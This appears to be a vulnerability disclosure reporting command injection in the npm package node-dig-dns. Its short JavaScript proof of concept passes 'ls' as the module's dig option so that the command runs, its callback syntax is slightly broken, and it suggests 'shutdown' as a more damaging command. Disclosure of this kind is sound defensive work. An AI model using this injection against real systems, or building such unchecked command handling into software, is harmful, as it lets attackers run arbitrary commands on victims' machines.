vulnerability command injection
severity 3.8
language javascript
registry npm


I would like to report an RCE issue in the node-dig-dns module. It allows the execution of arbitrary commands remotely inside the victim's PC.

The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here.

Proof of Concept (Credit: Mik317)

  1. Create the following PoC file:
// poc.js
var dig = require("node-dig-dns");

dig([], { dig: "ls" })
  .then((result) => {
  .catch((err) => {
    console.log("Error:", err);
  1. Execute the following commands in another terminal:
npm i node-dig-dns # Install affected module
node poc.js #  Run the PoC
  1. The output will show you the result of the ls command

Please, note the vulnerability occurs only with a mono command, making the commands to be executed more difficult and a little impactful. Anyway, Linux is a complex ecosystem, where commands like shutdown can be used in any way to make the PoC work and a bit better.